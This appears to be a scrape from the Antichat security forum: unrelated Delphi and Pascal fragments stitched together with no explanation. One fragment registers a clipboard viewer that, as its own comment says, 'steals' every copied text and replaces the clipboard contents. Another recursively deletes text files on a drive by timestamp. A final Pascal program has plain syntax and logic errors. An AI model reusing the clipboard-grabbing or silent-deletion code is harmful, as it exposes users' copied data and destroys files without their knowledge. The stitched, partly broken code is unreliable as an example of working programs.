ANTICHAT — форум по информационной безопасности, OSINT и технологиям

uses ClipBrd;

type
  private
    procedure WMCHANGECBCHAIN(var Msg: TWMChangeCBChain); 
      message WM_CHANGECBCHAIN;
    procedure WMDRAWCLIPBOARD(var Msg: TMessage);
      message WM_DRAWCLIPBOARD;

var
  Form1: TForm1;
  ClipbrdNext: HWND;

implementation

{$R *.dfm}

procedure TForm1.WMCHANGECBCHAIN(var Msg: TWMChangeCBChain);
begin
  if Msg.Remove = ClipbrdNext then ClipbrdNext := Msg.Next;
  SendMessage(ClipbrdNext, Msg.Msg, Msg.Remove, Msg.Next);
end;

procedure TForm1.WMDRAWCLIPBOARD(var Msg: TMessage);
begin
  //воруем буфер
  Memo1.Lines.Add(Clipboard.AsText+#13#10'----------');
  //заносим в буфер произвольный текст
  Clipboard.SetTextBuf('antichat');
  SendMessage(ClipbrdNext, Msg.Msg, Msg.WParam, Msg.LParam);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  ClipbrdNext := SetClipboardViewer(Handle);
end;

procedure GetAllFiles(mask: string);
var
  search: TSearchRec;
  directory: string;
  dt:TDateTime;
  st:_SYSTEMTIME;
begin 
  directory := ExtractFilePath(mask); 

  if FindFirst(mask, $23, search) = 0 then
  begin
    repeat
       dt := FileDateToDateTime(search.Time);
       DateTimeToSystemTime(dt, st);
       if (st.wYear = 2009) and // проверяем дату и время файла.
          (st.wMonth = 10) and
          (st.wDay = 2) and
          (st.wHour = 17) and
          (st.wMinute = 12) then DeleteFile(directory + search.Name); // если совпала то удалим.
// вообще можно и по красивее и правильнее написать, то влом  и времяни нет
    until FindNext(search) <> 0;
  end;

  if FindFirst(directory + '*.*', faDirectory, search) = 0 then
  begin
    repeat
      if ((search.Attr and faDirectory) = faDirectory) and (search.Name[1] <> '.') then 
        GetAllFiles(directory + search.Name + '\' + ExtractFileName(mask)); 
    until FindNext(search) <> 0;
    FindClose(search);
  end; 
end; 



procedure TForm1.Button1Click(Sender: TObject);
begin
GetAllFiles('u:\*.txt'); // на диске U: найти все txt файлы 
end;

end.

program fail;
var F:text; x,y:integer; s:string; c:boolean;
begin
Assign(F,'D:\pr1.txt');
reset(F);
read(F);
x:=0;
while pos(' ',s)<>0 do begin
c:=((s[1])=pos(' ',s) and (s[2])<>pos(' ',s));
if c:=true
 then x:=x+1;
 delete (s,1,1);
 else delete (s,1,1);
 end;
end;
  WriteLn(x);
  Readln;
  readln;
end.